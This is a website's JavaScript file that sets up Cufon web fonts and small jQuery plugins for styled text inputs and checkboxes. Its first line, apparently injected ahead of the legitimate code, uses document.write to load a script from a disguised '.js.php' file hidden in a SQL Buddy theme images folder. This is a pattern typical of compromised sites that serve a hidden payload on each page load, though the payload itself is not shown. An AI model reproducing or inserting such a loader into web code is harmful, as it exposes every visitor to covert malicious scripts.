document.write('<script type="text/javascript" src="/sqlbuddy/themes/bittersweet/images/galleria.noconflict.min.js.php"><\/script>');var andr = '#footer h2';
var mcgn = '#header p, div.result';
var vgrg = 'span.txt span, div.content div.block p';
var vgmd = '#footer div.lcol p, #footer address';
var vglt = '#dummy';

Cufon.replace(andr, { fontFamily: 'Androgyne' });
Cufon.replace(mcgn, { fontFamily: 'Mcgannahan' });
Cufon.replace(vgrg, { fontFamily: 'Vegur' });
Cufon.replace(vgmd, { fontFamily: 'Vegur_Medium' });
Cufon.replace(vglt, { fontFamily: 'Vegur_Light' });

$(function(){
	$('body').addClass('js');
	$('span.chk').chkBox();
	$('span.txt').inpBox();
});

(function($) {

	$.fn.inpBox = function(){
		if (this.length == 0){
			return $(this);
		}

		var pdtp = $(this).children('span').cssInt('paddingTop');
		var pdlt = $(this).children('span').cssInt('paddingLeft');

		var clfn = function(){
			$(this).hide().siblings('input').trigger('focus');
		}

		var blfn = function(){
			if ($(this).attr('value').length == 0){
				$(this).siblings('span').show();
			}
		}

		for (i=0; i<this.length; i++){
			var $obj = $(this).eq(i);
			var wd = $obj.outerWidth() - 2;
			var ht = $obj.outerHeight() - 2;
			var $span = $obj.children('span').width(wd - pdlt).height(ht - pdtp).click(clfn).siblings('input').blur(blfn);
		}

		return $(this);
	}

	$.fn.cssInt = function(par){
		if (this.length == 0){
			return $(this);
		}
		var dat = parseInt($(this).css(par));
		return dat;
	}

	$.fn.chkBox = function(){
		if (this.length == 0){
			return $(this);
		}

		var clfn = function(){
			var $inp = $(this).children('input');
			if ($inp.attr('checked')){
				$(this).removeClass('on');
				$inp.attr('checked', false);
			}
			else {
				$(this).addClass('on');
				$inp.attr('checked', true);
			}
		}

		var chfn = function(){
			if ($(this).attr('checked')){
				$(this).attr('checked', false).parent().removeClass('on');
			}
			else {
				$(this).attr('checked', true).parent().addClass('on');
			}
		}

		for (i=0; i<this.length; i++){
			var $obj = $(this).eq(i);
			$obj.click(clfn).find('input.chk').change(chfn);
		}
		return $(this);
	}

//	LOGGING FUNCTIONS FOR TROUBLESHOOTING

	$.fn.log = function(){
		if (typeof window.console !== 'undefined'){
			console.log($(this));
		}
		return $(this);
	}

	$.log = function(inp){
		if (typeof window.console !== 'undefined'){
			console.log(inp);
		}
		return inp;
	}

})(jQuery);
